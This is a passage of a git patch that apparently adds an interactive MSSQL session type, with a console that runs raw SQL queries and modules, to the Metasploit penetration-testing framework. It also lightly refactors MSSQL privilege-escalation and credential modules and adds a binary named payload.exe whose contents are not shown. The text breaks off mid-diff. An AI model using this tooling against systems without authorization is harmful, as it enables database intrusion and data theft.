From dc6dbfcb8a8c2a07822eb11d0851add97fb9e9e6 Mon Sep 17 00:00:00 2001 From: Zach Goldman Date: Wed, 24 Jan 2024 11:12:11 -0600 Subject: [PATCH] Add MSSQL session type --- .../framework/login_scanner/mssql.rb | 9 +- lib/metasploit/framework/tcp/client.rb | 3 +- lib/msf/base/config.rb | 7 + lib/msf/base/sessions/mssql.rb | 152 ++++++++++++++++++ lib/msf/core/exploit/remote/mssql.rb | 11 +- lib/msf/core/feature_manager.rb | 7 + lib/msf/core/optional_session.rb | 12 +- lib/rex/post.rb | 1 + lib/rex/post/mssql.rb | 3 + lib/rex/post/mssql/ui.rb | 3 + lib/rex/post/mssql/ui/console.rb | 147 +++++++++++++++++ .../mssql/ui/console/command_dispatcher.rb | 113 +++++++++++++ .../ui/console/command_dispatcher/client.rb | 151 +++++++++++++++++ .../ui/console/command_dispatcher/core.rb | 61 +++++++ .../ui/console/command_dispatcher/modules.rb | 95 +++++++++++ lib/rex/proto/mssql/client.rb | 14 +- .../admin/mssql/mssql_enum_domain_accounts.rb | 9 +- .../admin/mssql/mssql_enum_sql_logins.rb | 2 +- .../admin/mssql/mssql_escalate_dbowner.rb | 2 +- .../admin/mssql/mssql_escalate_execute_as.rb | 2 +- .../admin/mssql/mssql_findandsampledata.rb | 7 +- modules/auxiliary/admin/mssql/mssql_idf.rb | 2 +- .../admin/mssql/mssql_ntlm_stealer.rb | 6 +- .../fuzzers/tds/tds_login_corrupt.rb | 2 +- .../fuzzers/tds/tds_login_username.rb | 2 +- .../auxiliary/gather/lansweeper_collector.rb | 4 +- .../auxiliary/scanner/mssql/mssql_hashdump.rb | 4 +- .../auxiliary/scanner/mssql/mssql_login.rb | 58 ++++++- modules/auxiliary/scanner/mssql/mssql_ping.rb | 4 - .../scanner/mssql/mssql_schemadump.rb | 6 +- .../mssql/lyris_listmanager_weak_pass.rb | 2 +- .../windows/mssql/mssql_clr_payload.rb | 4 +- .../windows/mssql/mssql_linkcrawler.rb | 6 +- payload.exe | Bin 0 -> 73802 bytes spec/lib/msf/base/sessions/mssql_spec.rb | 152 ++++++++++++++++++ .../console/command_dispatcher/core_spec.rb | 31 ++++ 36 files changed, 1028 insertions(+), 66 deletions(-) create mode 100644 lib/msf/base/sessions/mssql.rb create mode 100644 lib/rex/post/mssql.rb create mode 100644 lib/rex/post/mssql/ui.rb create mode 100644 lib/rex/post/mssql/ui/console.rb create mode 100644 lib/rex/post/mssql/ui/console/command_dispatcher.rb create mode 100644 lib/rex/post/mssql/ui/console/command_dispatcher/client.rb create mode 100644 lib/rex/post/mssql/ui/console/command_dispatcher/core.rb create mode 100644 lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb create mode 100755 payload.exe create mode 100644 spec/lib/msf/base/sessions/mssql_spec.rb create mode 100644 spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb index 658420801fe0b..23d5ad559fd73 100644 --- a/lib/metasploit/framework/login_scanner/mssql.rb +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -47,6 +47,8 @@ class MSSQL # @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth. attr_accessor :windows_authentication + attr_accessor :use_client_as_proof + attr_accessor :max_send_size attr_accessor :send_delay @@ -71,6 +73,11 @@ def attempt_login(credential) client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port) if client.mssql_login(credential.public, credential.private, '', credential.realm) result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + if use_client_as_proof + result_options[:proof] = client + else + client.disconnect # replacing the ensure so the client doesn't disconnect on login - is this right? + end else result_options[:status] = Metasploit::Model::Login::Status::INCORRECT end @@ -81,8 +88,6 @@ def attempt_login(credential) elog(e) result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT result_options[:proof] = e - ensure - client.disconnect end ::Metasploit::Framework::LoginScanner::Result.new(result_options) diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb index b81f2b2f24657..aa12ed95faa09 100644 --- a/lib/metasploit/framework/tcp/client.rb +++ b/lib/metasploit/framework/tcp/client.rb @@ -73,7 +73,6 @@ module Client # @see Rex::Socket::Tcp # @see Rex::Socket::Tcp.create def connect(global = true, opts={}) - dossl = false if(opts.has_key?('SSL')) dossl = opts['SSL'] @@ -93,7 +92,7 @@ def connect(global = true, opts={}) 'SSLCipher' => opts['SSLCipher'] || ssl_cipher, 'Proxies' => proxies, 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } ) # enable evasions on this socket set_tcp_evasions(nsock) diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index 7f2bca1d7d38e..2f8bfbad60c93 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -227,6 +227,9 @@ def self.smb_session_history def self.postgresql_session_history self.new.postgresql_session_history end + def self.mssql_session_history + self.new.mssql_session_history + end # Returns the full path to the MySQL session history file. # @@ -352,6 +355,10 @@ def mysql_session_history config_directory + FileSep + "mysql_session_history" end + def mssql_session_history + config_directory + FileSep + "mssql_session_history" + end + def pry_history config_directory + FileSep + "pry_history" end diff --git a/lib/msf/base/sessions/mssql.rb b/lib/msf/base/sessions/mssql.rb new file mode 100644 index 0000000000000..41b756499b6ee --- /dev/null +++ b/lib/msf/base/sessions/mssql.rb @@ -0,0 +1,152 @@ +# -*- coding:binary -*- + +require 'rex/post/mssql' + +class Msf::Sessions::MSSQL + + include Msf::Session::Basic + include Msf::Sessions::Scriptable + + # @return [Rex::Post::MSSQL::Ui::Console] The interactive console + attr_accessor :console + # @return [MSSQL::Client] The MSSQL client + attr_accessor :client + attr_accessor :platform, :arch + attr_accessor :address, :port + attr_reader :framework + + def initialize(rstream, opts = {}) + @client = opts.fetch(:client) + self.console = Rex::Post::MSSQL::Ui::Console.new(self, opts) + + super(rstream, opts) + end + + def bootstrap(datastore = {}, handler = nil) + session = self + session.init_ui(user_input, user_output) + + @info = "MSSQL #{datastore['USERNAME']} @ #{@peer_info}" + end + + def execute_file(full_path, args) + if File.extname(full_path) == '.rb' + Rex::Script::Shell.new(self, full_path).run(args) + else + console.load_resource(full_path) + end + end + + def process_autoruns(datastore) + ['InitialAutoRunScript', 'AutoRunScript'].each do |key| + next if datastore[key].nil? || datastore[key].empty? + + args = Shellwords.shellwords(datastore[key]) + print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") + session.execute_script(args.shift, *args) + end + end + + def rhost + self.address + end + + def rport + self.port + end + + def type + self.class.type + end + + # Returns the type of session. + # + def self.type + 'MSSQL' + end + + def self.can_cleanup_files + false + end + + # + # Returns the session description. + # + def desc + 'MSSQL' + end + + def address + return @address if @address + + @address, @port = client.sock.peerinfo.split(':') + @address + end + + def port + return @port if @port + + @address, @port = client.sock.peerinfo.split(':') + @port + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Initializes the console's I/O handles. + # + def init_ui(input, output) + self.user_input = input + self.user_output = output + console.init_ui(input, output) + console.set_log_source(log_source) + + super + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Resets the console's I/O handles. + # + def reset_ui + console.unset_log_source + console.reset_ui + end + + def exit + console.stop + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Override the basic session interaction to use shell_read and + # shell_write instead of operating on rstream directly. + def _interact + framework.events.on_session_interact(self) + framework.history_manager.with_context(name: type.to_sym) do + _interact_stream + end + end + + ## + # :category: Msf::Session::Interactive implementors + # + def _interact_stream + framework.events.on_session_interact(self) + + console.framework = framework + # Call the console interaction of the MSSQL client and + # pass it a block that returns whether or not we should still be + # interacting. This will allow the shell to abort if interaction is + # canceled. + console.interact { interacting != true } + console.framework = nil + + # If the stop flag has been set, then that means the user exited. Raise + # the EOFError so we can drop this handle like a bad habit. + raise EOFError if (console.stopped? == true) + end + +end diff --git a/lib/msf/core/exploit/remote/mssql.rb b/lib/msf/core/exploit/remote/mssql.rb index 092d12e9c568f..790523651ac00 100644 --- a/lib/msf/core/exploit/remote/mssql.rb +++ b/lib/msf/core/exploit/remote/mssql.rb @@ -72,6 +72,9 @@ def mssql_ping(timeout=5) return mssql_ping_parse(resp) end + # + # Parse a 'ping' response and format as a hash + # def mssql_ping_parse(data) res = [] var = nil @@ -216,13 +219,5 @@ def mssql_tds_encrypt(pass) # Convert to unicode, swap 4 bits both ways, xor with 0xa5 Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") end - - # - # Encrypt a password according to the TDS protocol (encode) - # - def mssql_tds_encrypt(pass) - # Convert to unicode, swap 4 bits both ways, xor with 0xa5 - Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") - end end end diff --git a/lib/msf/core/feature_manager.rb b/lib/msf/core/feature_manager.rb index 2ed4aa021d0bf..40baa7f62b506 100644 --- a/lib/msf/core/feature_manager.rb +++ b/lib/msf/core/feature_manager.rb @@ -25,6 +25,7 @@ class FeatureManager SMB_SESSION_TYPE = 'smb_session_type' POSTGRESQL_SESSION_TYPE = 'postgresql_session_type' MYSQL_SESSION_TYPE = 'mysql_session_type' + MSSQL_SESSION_TYPE = 'mssql_session_type' DEFAULTS = [ { name: WRAPPED_TABLES, @@ -83,6 +84,12 @@ class FeatureManager requires_restart: true, default_value: false }.freeze, + { + name: MSSQL_SESSION_TYPE, + description: 'When enabled will allow for the creation/use of mssql sessions', + requires_restart: true, + default_value: false + }.freeze, { name: DNS_FEATURE, description: 'When enabled, allows configuration of DNS resolution behaviour in Metasploit', diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb index 0152a6faeaaf8..d00e37d132307 100644 --- a/lib/msf/core/optional_session.rb +++ b/lib/msf/core/optional_session.rb @@ -37,6 +37,16 @@ def initialize(info = {}) Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]), Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']), Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']), + ] + ) + end + + if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE) + register_options( + [ + Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]), + Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'MSSQL']), + Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'MSSQL']), Msf::Opt::RHOST(nil, false), Msf::Opt::RPORT(nil, false) ] @@ -46,7 +56,7 @@ def initialize(info = {}) end def session - return nil unless (framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE)) + return nil unless (framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)) super end diff --git a/lib/rex/post.rb b/lib/rex/post.rb index 259b732919dc4..ee6659beb1c54 100644 --- a/lib/rex/post.rb +++ b/lib/rex/post.rb @@ -5,6 +5,7 @@ require 'rex/post/smb' require 'rex/post/postgresql' require 'rex/post/mysql' +require 'rex/post/mssql' module Rex::Post diff --git a/lib/rex/post/mssql.rb b/lib/rex/post/mssql.rb new file mode 100644 index 0000000000000..7ae9afd210eb6 --- /dev/null +++ b/lib/rex/post/mssql.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/post/mssql/ui' diff --git a/lib/rex/post/mssql/ui.rb b/lib/rex/post/mssql/ui.rb new file mode 100644 index 0000000000000..f33c460e85e93 --- /dev/null +++ b/lib/rex/post/mssql/ui.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/post/mssql/ui/console' diff --git a/lib/rex/post/mssql/ui/console.rb b/lib/rex/post/mssql/ui/console.rb new file mode 100644 index 0000000000000..a7d62b968451f --- /dev/null +++ b/lib/rex/post/mssql/ui/console.rb @@ -0,0 +1,147 @@ +# -*- coding: binary -*- + +module Rex + module Post + module MSSQL + module Ui + ### + # + # This class provides a shell driven interface to the MSSQL client API. + # + ### + class Console + include Rex::Ui::Text::DispatcherShell + + # Dispatchers + require 'rex/post/mssql/ui/console/command_dispatcher' + require 'rex/post/mssql/ui/console/command_dispatcher/core' + require 'rex/post/mssql/ui/console/command_dispatcher/client' + require 'rex/post/mssql/ui/console/command_dispatcher/modules' + + # + # Initialize the MSSQL console. + # + # @param [Msf::Sessions::MSSQL] session + def initialize(session, opts={}) + # The mssql client context + self.session = session + self.client = session.client + self.cwd = opts[:cwd] + prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{cwd})%clr" + history_manager = Msf::Config.mssql_session_history + super(prompt, '>', history_manager, nil, :mssql) + + # Queued commands array + self.commands = [] + + # Point the input/output handles elsewhere + reset_ui + + enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core) + enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Client) + enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Modules) + + # Set up logging to whatever logsink 'core' is using + if ! $dispatcher['mssql'] + $dispatcher['mssql'] = $dispatcher['core'] + end + end + + # + # Called when someone wants to interact with the mssql client. It's + # assumed that init_ui has been called prior. + # + # @param [Proc] block + # @return [Integer] + def interact(&block) + # Run queued commands + commands.delete_if do |ent| + run_single(ent) + true + end + + # Run the interactive loop + run do |line| + # Run the command + run_single(line) + + # If a block was supplied, call it, otherwise return false + if block + block.call + else + false + end + end + end + + # + # Queues a command to be run when the interactive loop is entered. + # + # @param [Object] cmd + # @return [Object] + def queue_cmd(cmd) + self.commands << cmd + end + + # + # Runs the specified command wrapper in something to catch meterpreter + # exceptions. + # + # @param [Object] dispatcher + # @param [Object] method + # @param [Object] arguments + # @return [FalseClass] + def run_command(dispatcher, method, arguments) + begin + super + rescue ::Timeout::Error + log_error('Operation timed out.') + rescue ::Rex::InvalidDestination => e + log_error(e.message) + rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError + self.session.kill + rescue ::StandardError => e + log_error("Error running command #{method}: #{e.class} #{e}") + elog(e) + end + end + + # + # Logs that an error occurred and persists the callstack. + # + # @param [Object] msg + # @return [Object] + def log_error(msg) + print_error(msg) + + elog(msg, 'MSSQL') + + dlog("Call stack:\n#{$@.join("\n")}", 'mssql') + end + + # @return [Msf::Sessions::MSSQL] + attr_reader :session + + # @return [MSSQL::Client] + attr_reader :client + + # @return [String] + attr_accessor :cwd + + # @param [Object] val + # @return [String] + def format_prompt(val) + self.cwd ||= '' + prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{@cwd})%clr > " + substitute_colors(prompt, true) + end + + protected + + attr_writer :session, :client # :nodoc: + attr_accessor :commands # :nodoc: + end + end + end + end +end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher.rb b/lib/rex/post/mssql/ui/console/command_dispatcher.rb new file mode 100644 index 0000000000000..8b317d02b17d7 --- /dev/null +++ b/lib/rex/post/mssql/ui/console/command_dispatcher.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +require 'rex/ui/text/dispatcher_shell' + +module Rex + module Post + module MSSQL + module Ui + ### + # + # Base class for all command dispatchers within the MSSQL console user interface. + # + ### + module Console::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher::Session + + # + # Initializes an instance of the core command set using the supplied session and client + # for interactivity. + # + # @param [Rex::Post::MSSQL::Ui::Console] console + def initialize(console) + super + @msf_loaded = nil + @filtered_commands = [] + end + + # + # Returns the MSSQL client context. + # + # @return [MSSQL::Client] + def client + console = shell + console.client + end + + # + # Returns the MSSQL session context. + # + # @return [Msf::Sessions::MSSQL] + def session + console = shell + console.session + end + + # + # Returns the commands that meet the requirements + # + # @param [Object] all + # @param [Object] reqs + # @return [Object] + def filter_commands(all, reqs) + all.delete_if do |cmd, _desc| + if reqs[cmd]&.any? { |req| !client.commands.include?(req) } + @filtered_commands << cmd + true + end + end + end + + # @param [Object] cmd + # @param [Object] line + # @return [Symbol, nil] + def unknown_command(cmd, line) + if @filtered_commands.include?(cmd) + print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})") + return :handled + end + + super + end + + # + # Return the subdir of the `documentation/` directory that should be used + # to find usage documentation + # + # @return [String] + def docs_dir + ::File.join(super, 'mssql_session') + end + + # + # Returns true if the client has a framework object. + # + # Used for firing framework session events + # + # @return [TrueClass, FalseClass] + def msf_loaded? + return @msf_loaded unless @msf_loaded.nil? + + # if we get here we must not have initialized yet + + @msf_loaded = !session.framework.nil? + @msf_loaded + end + + # + # Log that an error occurred. + # + # @param [Object] msg + # @return [Object] + def log_error(msg) + print_error(msg) + + elog(msg, 'mssql') + + dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'mssql') + end + end + end + end + end +end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb new file mode 100644 index 0000000000000..b20b45234de1e --- /dev/null +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb @@ -0,0 +1,151 @@ +# -*- coding: binary -*- + +require 'pathname' +require 'reline' + +module Rex + module Post + module MSSQL + module Ui + ### + # + # Core MSSQL client commands + # + ### + class Console::CommandDispatcher::Client + + include Rex::Post::MSSQL::Ui::Console::CommandDispatcher + + # + # Initializes an instance of the core command set using the supplied console + # for interactivity. + # + # @param [Rex::Post::MSSQL::Ui::Console] console + def initialize(console) + super + + @db_search_results = [] + end + + # + # List of supported commands. + # + # @return [Hash{String->String}] + def commands + cmds = { + 'query' => 'Run a raw SQL query', + 'shell' => 'Enter a raw shell where SQL queries can be executed', + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # @return [String] + def name + 'MSSQL Client' + end + + # @param [Object] args + # @return [FalseClass, TrueClass] + def help_args?(args) + return false unless args.instance_of?(::Array) + + args.include?('-h') || args.include?('--help') + end + + # @return [Object] + def cmd_shell_help + print_line 'Usage: shell' + print_line + print_line 'Go into a raw SQL shell where SQL queries can be executed.' + print_line 'To exit, type `exit`, `quit`, `end` or `stop`.' + print_line + end + + # @param [Array] args + # @return [Object] + def cmd_shell(*args) + cmd_shell_help && return if help_args?(args) + + prompt_proc_before = ::Reline.prompt_proc + + ::Reline.prompt_proc = proc { |line_buffer| line_buffer.each_with_index.map { |_line, i| i > 0 ? 'SQL *> ' : 'SQL >> ' } } + + stop_words = %w[stop s exit e end quit q].freeze + + finished = false + loop do + begin + raw_query = ::Reline.readmultiline('SQL >> ', use_history = true) do |multiline_input| + finished = stop_words.include?(multiline_input.split.last) + finished || !multiline_input.split.last.end_with?(';') + end + rescue ::Interrupt + finished = true + ensure + ::Reline.prompt_proc = prompt_proc_before + end + + if finished + print_status 'Exiting Shell mode.' + return + end + + formatted_query = raw_query.split.map { |word| word.chomp('\\') }.reject(&:empty?).compact.join(' ') + + print_status "Running SQL Command: '#{formatted_query}'" + cmd_query(formatted_query) + end + end + + # @return [Object] + def cmd_query_help + print_line 'Usage: query' + print_line + print_line 'Run a raw SQL query on the target.' + print_line 'Examples:' + print_line + print_line ' query select @@version;' + print_line ' query select user_name();' + print_line ' query select name from master.dbo.sysdatabases;' + print_line + end + + # @param [Array] result The result of an SQL query to format. + def format_result(result) + columns = ['#'] + + unless result.is_a?(Array) + result.fields.each { |field| columns.append(field.name) } + + ::Rex::Text::Table.new( + 'Header' => 'Query Result', + 'Indent' => 4, + 'Columns' => columns, + 'Rows' => result.map.each.with_index { |row, i| [i, row].flatten } + ) + end + end + + # @param [Array] args SQL query + # @return [Object] + def cmd_query(*args) + if help_args?(args) + cmd_query_help + return + end + + query = args.join(' ').to_s + print_status("Sending statement: '#{query}'...") + client.mssql_query(query, true) || [] + end + + alias cmd_sql cmd_query + alias cmd_sql_help cmd_query_help + end + end + end + end +end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb new file mode 100644 index 0000000000000..bd6bc102e1a1b --- /dev/null +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb @@ -0,0 +1,61 @@ +# -*- coding: binary -*- + +require 'rex/post/mssql' + +module Rex + module Post + module MSSQL + module Ui + ### + # + # Core MSSQL client commands + # + ### + class Console::CommandDispatcher::Core + + include Rex::Post::MSSQL::Ui::Console::CommandDispatcher + + # + # Initializes an instance of the core command set using the supplied session and client + # for interactivity. + # + # @param [Rex::Post::MSSQL::Ui::Console] console + + # + # List of supported commands. + # + def commands + cmds = { + '?' => 'Help menu', + 'background' => 'Backgrounds the current session', + 'bg' => 'Alias for background', + 'exit' => 'Terminate the MSSQL session', + 'help' => 'Help menu', + 'irb' => 'Open an interactive Ruby shell on the current session', + 'pry' => 'Open the Pry debugger on the current session', + 'sessions' => 'Quickly switch to another session' + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # + # Core + # + def name + 'Core' + end + + def unknown_command(cmd, line) + status = super + + status + end + + end + end + end + end +end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb new file mode 100644 index 0000000000000..259d0b47afbfa --- /dev/null +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb @@ -0,0 +1,95 @@ +# -*- coding: binary -*- + +require 'pathname' + +module Rex + module Post + module MSSQL + module Ui + ### + # + # MSSQL client commands for running modules + # + ### + class Console::CommandDispatcher::Modules + + include Rex::Post::MSSQL::Ui::Console::CommandDispatcher + + + # + # List of supported commands. + # + def commands + cmds = { + 'run' => 'Run a module' + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # + # Modules + # + def name + 'Modules' + end + + def cmd_run_help + print_line 'Usage: Modules' + print_line + print_line 'Run a module.' + print_line + end + + # + # Executes a module/script in the context of the mssql session. + # + def cmd_run(*args) + if args.empty? || args.first == '-h' || args.first == '--help' + cmd_run_help + return true + end + + # Get the script name + begin + script_name = args.shift + # First try it as a module if we have access to the Metasploit + # Framework instance. If we don't, or if no such module exists, + # fall back to using the scripting interface. + if msf_loaded? && (mod = session.framework.modules.create(script_name)) + original_mod = mod + reloaded_mod = session.framework.modules.reload_module(original_mod) + + unless reloaded_mod + error = session.framework.modules.module_load_error_by_path[original_mod.file_path] + print_error("Failed to reload module: #{error}") + + return + end + + opts = '' + + opts << (args + [ "SESSION=#{session.sid}" ]).join(',') + result = reloaded_mod.run_simple( + 'LocalInput' => shell.input, + 'LocalOutput' => shell.output, + 'OptionStr' => opts + ) + + print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session) + else + # the rest of the arguments get passed in through the binding + session.execute_script(script_name, args) + end + rescue StandardError => e + print_error("Error in script: #{script_name}") + elog("Error in script: #{script_name}", error: e) + end + end + end + end + end + end +end diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 52a03513ca353..0ae82910f955f 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -27,6 +27,7 @@ class Client attr_accessor :ssl_cipher attr_accessor :proxies attr_accessor :connection_timeout + attr_accessor :realm attr_accessor :send_lm attr_accessor :send_ntlm attr_accessor :send_spn @@ -46,33 +47,22 @@ class Client def initialize(framework_module, framework, rhost, rport = 1433) @framework_module = framework_module @framework = framework -<<<<<<< HEAD @connection_timeout = framework_module.datastore['ConnectTimeout'] || 30 @max_send_size = framework_module.datastore['TCP::max_send_size'] || 0 @send_delay = framework_module.datastore['TCP::send_delay'] || 0 @auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO @hostname = framework_module.datastore['Mssql::Rhostname'] || '' -======= - @connection_timeout = framework_module.datastore['ConnectTimeout'] || 30 - @max_send_size = framework_module.datastore['TCP::max_send_size'] || 0 - @send_delay = framework_module.datastore['TCP::send_delay'] || 0 - - @auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO ->>>>>>> c1d192fd7d (Cleanup, put mssql_login_datastore back) @windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false @tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false @hex2binary = framework_module.datastore['HEX2BINARY'] || '' -<<<<<<< HEAD @domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || '' -======= ->>>>>>> c1d192fd7d (Cleanup, put mssql_login_datastore back) @rhost = rhost @rport = rport end - + # # This method connects to the server over TCP and attempts # to authenticate with the supplied username and password diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb index f0b772157fcd3..6c459a6fb85e1 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb @@ -28,13 +28,13 @@ def initialize(info = {}) register_options( [ - OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]) + OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]), ]) end def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') else @@ -106,8 +106,8 @@ def run # Create output file this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :name => 'mssql', :proto => 'tcp' ) @@ -175,6 +175,7 @@ def get_win_domain_users(windows_domain_sid) # Get windows domain def get_windows_domain + # Setup query to check the domain sql = "SELECT DEFAULT_DOMAIN() as mydomain" diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb index 2f8edad42dc1f..50f9046a1c2f4 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb @@ -32,7 +32,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') else diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index c7810eb09b9d9..a291569560093 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -23,7 +23,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb index 190f5055fd4c4..993ce785d5dd7 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -23,7 +23,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index e889b1eb00450..c81b40a4ccce7 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -338,16 +338,15 @@ def sql_statement() # STATUSING print_line(" ") - print_status("Attempting to connect to the SQL Server at #{datastore['RHOST']}:#{datastore['RPORT']}...") + print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...") # CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING begin result = mssql_query(sql, false) if mssql_login_datastore - column_data = result[:rows] - print_good("Successfully connected to #{datastore['RHOST']}:#{datastore['RPORT']}") + print_good("Successfully connected to #{rhost}:#{rport}") rescue - print_error("Failed to connect to #{datastore['RHOST']}:#{datastore['RPORT']}.") + print_error("Failed to connect to #{rhost}:#{rport}") return end diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index 5c7fbca15afb2..43035ee7da926 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -154,7 +154,7 @@ def run full_table.slice!(-1, 1) count_sql += full_table - result = mssql_query(count_sql, false) if mssql_login(datastore['USERNAME'], datastore['PASSWORD']) + result = mssql_query(count_sql, false) if mssql_login_datastore count_data = result[:rows] row_count = count_data[0][0] diff --git 